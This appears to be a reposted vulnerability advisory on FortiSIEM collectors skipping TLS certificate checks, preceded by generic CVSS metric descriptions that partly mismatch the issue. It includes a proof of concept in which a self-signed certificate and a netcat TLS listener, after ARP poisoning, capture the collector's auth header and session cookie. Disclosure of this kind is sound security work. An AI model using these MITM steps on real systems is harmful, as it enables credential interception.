The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Fortinet FortiSIEM 5.0 / 5.2.1 Improper Certification Validation
Product Name: FortiSIEM
Tested versions: 5.0, 5.2.1
Fixed in version: Only a manual workaround is available from Fortinet as of
this writing
Weakness Type: CWE-295 - Improper Certificate Validation
Discovered by: Andrew Klaus (Cybera Canada)
CVE: Pending
== Disclosure Timeline:
June 25, 2019: Initial Disclosure to Fortinet PSIRT (Received automated
ticket response)
July 15, 2019: Received response that the issue was forwarded to R&D Team
July 23, 2019: Fortinet contacted me to test a configuration change
July 24, 2019: Provided results of configuration change to Fortinet
Sept 23, 2019: Reminded Fortinet of public disclosure date
Oct 1, 2019: Public Disclosure
== Summary:
A FortiSIEM collector connects to a Supervisor/Worker over HTTPS TLS
(443/TCP) to register itself as well as relaying event data such as syslog,
netflow, SNMP, etc.
When the Collector (the client) connects to the Supervisor/Worker (the
server), the client does not validate the server-provided certificate
against its root-CA store. Since the client does no server certificate
validation, this means any certificate presented to the client will be
considered valid and the connection will succeed.
If an attacker spoofs a Worker/Supervisor using an ARP or DNS poisoning
attack (or any other MITM attack), the Collector will blindly connect to
the attacker's HTTPS TLS server. It will disclose the authentication
password used along with any data being relayed.
== Workaround:
Fortinet has created a document for customers to follow to enable
inter-node TLS validation.
At this time, Fortinet won't set this flag by default since it will impact
their existing customers. All new and existing customers will need to
follow the workaround guide that Fortinet is providing in order to mitigate.
== Proof of Concept (PoC):
This PoC assumes a working Collector + Supervisor/Worker setup. This could
just as easily work on a Collector that is first being registered.
Note: This utilizes OpenBSD's netcat, which supports TLS. "nc" on other
operating systems may not support TLS.
(On attacker system)
First generate a new self-signed certificate:
$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -nodes
-days 365
Enter any dummy certificate details information.
Netcat listen on a TLS socket:
# nc -ckv6l -K key.pem -C cert.pem %IP% 443
Listening on %IP% 443
After successfully poisoning the ARP cache to redirect the Collector to a
rogue server. The Collector will now connect to the attacker's TLS socket
and start sending data.
Connection received on %COLLECTOR-IP% 35244
GET
/phoenix/rest/sync/task?custId=%ID%&agentId=%ID%&time=1561402888&phProcessName=phMonitorAgent
HTTP/1.1
Authorization: Basic %AUTH-DATA%
Host: %SUPERVISOR-HOSTNAME%
Accept: */*
Cookie: JSESSIONID=%COOKIE-VALUE%
== Other Observations:
I observed this in the phoenix.log file on the FortiSIEM appliance:
[PH_GENERIC_DEBUG]:[eventSeverity]=PHL_DEBUG,[procName]=<unknown>,[fileName]=phHttpClient.cpp,[lineNumber]=1862,[phLogDetail]=set
CURLOPT_SSL_VERIFYPEER to no
This "VERIFYPEER" option determines whether curl verifies the authenticity
of the peer's certificate. A value of 1 means curl verifies the SSL/TLS
server certificate; 0 (zero) means it does not:
https://curl.haxx.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html.
The following provisioning scripts also have hardcoded curl commands with
the `-k / --insecure` flag set, which makes them susceptible to MITM'ing
connections when provisioning:
phProvisionCollector
phProvisionWorker
elastic_deploy.sh
elastic_deploy_url.sh